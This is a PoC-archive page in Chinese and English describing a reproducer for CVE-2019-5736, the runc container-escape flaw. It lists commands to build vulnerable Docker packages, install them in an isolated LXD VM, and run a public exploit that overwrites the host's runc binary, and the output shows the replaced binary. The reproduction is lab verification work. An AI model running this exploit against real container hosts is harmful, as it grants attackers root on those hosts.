POC详情: 150582f62306d0a72440f9ced873216d032eb475

来源
关联漏洞
标题: Docker 操作系统命令注入漏洞 (CVE-2019-5736)
描述:Docker是美国Docker公司的一款开源的应用容器引擎。该产品支持在Linux系统上创建一个容器(轻量级虚拟机)并部署和运行应用程序,以及通过配置文件实现应用程序的自动化安装、部署和升级。 Docker 18.09.2之前版本和其他产品中的runc 1.0-rc6及之前版本中存在安全漏洞,该漏洞源于程序没有正确地处理文件描述符。攻击者可利用该漏洞覆盖主机runc的二进制文件并以root权限执行命令。
介绍
# [CVE-2019-5736] reproducer

This allows you to confirm [RunC-CVE-2019-5736] works on your KVM instance.

[RunC-CVE-2019-5736]: https://github.com/twistlock/RunC-CVE-2019-5736
[CVE-2019-5736]: https://nvd.nist.gov/vuln/detail/CVE-2019-5736

## Workflow overview

* Build the `docker.io` related packages vulerable to [CVE-2019-5736] in this repo
* Launch an Ubuntu 18.04 KVM instance on LXD
* Install the vulnerable `*.deb` packages in the VM
* Try the procedure introduced at [RunC-CVE-2019-5736]

## Build vulnerable `*.deb` packages

```bash
$ docker-compose build --no-cache
$ docker-compose run build
```

## Prepare [RunC-CVE-2019-5736] source tarball

```bash
$ git clone https://github.com/twistlock/RunC-CVE-2019-5736.git
$ tar cjf RunC-CVE-2019-5736.tar.bz2 RunC-CVE-2019-5736
```

## Launch an Ubuntu 18.04 KVM instance on LXD

```bash
$ lxc launch --vm images:ubuntu/18.04 test-cve-2019-5736 -c limits.cpu=4 -c limits.memory=4GB
$ lxc file push deb/*.deb RunC-CVE-2019-5736.tar.bz2 test-cve-2019-5736/root/
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# sed -i -e '/bionic-updates/s/^/#/' -e '/bionic-security/s/^/#/' /etc/apt/sources.list
root@test-cve-2019-5736:~# apt update
root@test-cve-2019-5736:~# apt install iptables libltdl7
root@test-cve-2019-5736:~# dpkg -i containerd_0.2.5-0ubuntu2_amd64.deb docker.io_17.12.1-0ubuntu6_amd64.deb runc_1.0.0~rc6+git20181203.96ec2177-0~ubuntu2_amd64.deb
```

Note that you should use `images:ubuntu/18.04` instead of `ubuntu:18.04` because the `lxc exec` command doesn't work properly with the latter one.

## Reproduce [RunC-CVE-2019-5736]

```bash
$ lxc exec test-cve-2019-5736 bash
root@test-cve-2019-5736:~# tar xf RunC-CVE-2019-5736.tar.bz2
root@test-cve-2019-5736:~# cd RunC-CVE-2019-5736
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker build -t cve-2019-5736:exec_POC ./exec_POC
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
92b965383f377419f3dad7cec45e468a4c4a83e82e11a2f2e0e23803016e2840
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# docker exec poc_ctr bash
No help topic for '/usr/bin/bash'
root@test-cve-2019-5736:~/RunC-CVE-2019-5736# /usr/bin/docker-runc

**THE ALL NEW AND IMPROVED RUNC**

        [+] Your backdoor here ->

root@test-cve-2019-5736:~/RunC-CVE-2019-5736# 
```

## Appendix

* Fix commit: https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b
文件快照

[4.0K] /data/pocs/150582f62306d0a72440f9ced873216d032eb475 ├── [4.0K] deb ├── [ 180] docker-compose.yml ├── [4.0K] dockerfile │   └── [ 632] Dockerfile ├── [ 18K] LICENSE ├── [2.4K] README.md └── [4.0K] scripts └── [ 373] build.bash 3 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。